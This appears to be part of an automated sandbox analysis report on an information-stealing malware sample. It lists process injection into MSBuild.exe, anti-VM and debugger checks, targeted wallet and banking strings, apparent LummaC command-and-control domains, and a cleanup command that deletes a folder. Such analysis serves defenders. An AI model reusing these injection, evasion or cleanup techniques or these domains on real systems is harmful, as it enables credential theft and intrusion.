Source: MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL21:49:5921:49:5921:49:5921:49:5921:49:5921:49:59DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

1_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	API coverage: 4.0 %
Source: C:\ProgramData\HCAEHDHDAK.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4580	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5304	Thread sleep count: 68 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

1_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003D9ABF FindFirstFileExW,	0_2_003D9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00079ABF FindFirstFileExW,	8_2_00079ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410FBA GetSystemInfo,wsprintfA,

1_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: HIIIEG.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HIIIEG.1.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2714480163.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HIIIEG.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: HIIIEG.1.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HIIIEG.1.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HIIIEG.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HIIIEG.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: HIIIEG.1.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: HIIIEG.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: HIIIEG.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2ba
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: HIIIEG.1.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: HIIIEG.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HIIIEG.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HIIIEG.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HIIIEG.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HIIIEG.1.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HIIIEG.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: HIIIEG.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HIIIEG.1.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HIIIEG.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HIIIEG.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareh.8,)
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: HIIIEG.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: HIIIEG.1.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HIIIEG.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: HIIIEG.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-68477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-68493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-69820

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Code function: 0_2_003C7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_003C7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C2003 mov edi, dword ptr fs:[00000030h]	0_2_003C2003
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003EE37A mov eax, dword ptr fs:[00000030h]	0_2_003EE37A
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003EE362 mov eax, dword ptr fs:[00000030h]	0_2_003EE362
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003EE385 mov eax, dword ptr fs:[00000030h]	0_2_003EE385
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_00405582 mov eax, dword ptr fs:[00000030h]	0_2_00405582
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003DA64C mov eax, dword ptr fs:[00000030h]	0_2_003DA64C
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003D0F2E mov ecx, dword ptr fs:[00000030h]	0_2_003D0F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014AD mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040148A mov eax, dword ptr fs:[00000030h]	1_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014A2 mov eax, dword ptr fs:[00000030h]	1_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186A9 mov eax, dword ptr fs:[00000030h]	1_2_004186A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186AA mov eax, dword ptr fs:[00000030h]	1_2_004186AA
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00062003 mov edi, dword ptr fs:[00000030h]	8_2_00062003
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0007A64C mov eax, dword ptr fs:[00000030h]	8_2_0007A64C
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00070F2E mov ecx, dword ptr fs:[00000030h]	8_2_00070F2E

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Code function: 0_2_003DCC4B GetProcessHeap,

0_2_003DCC4B

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003C7610
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003C7922
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003CDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003CDA73
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C7AAF SetUnhandledExceptionFilter,	0_2_003C7AAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042774E SetUnhandledExceptionFilter,	1_2_0042774E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C4EB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C4EB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C69AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C69AC62
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00067610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00067610
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00067922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00067922
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0006DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0006DA73
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00067AAF SetUnhandledExceptionFilter,	8_2_00067AAF

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: VLSiVR4Qxs.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6112, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040F54A _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

1_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: HCAEHDHDAK.exe	String found in binary or memory: isoplethui.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: frizzettei.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: exemplarou.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: wickedneatr.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: invinjurhey.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: laddyirekyi.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: exilepolsiy.sbs
Source: HCAEHDHDAK.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 8A9008	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 611008	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\HCAEHDHDAK.exe "C:\ProgramData\HCAEHDHDAK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HJECAAKKFHCF" & exit	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
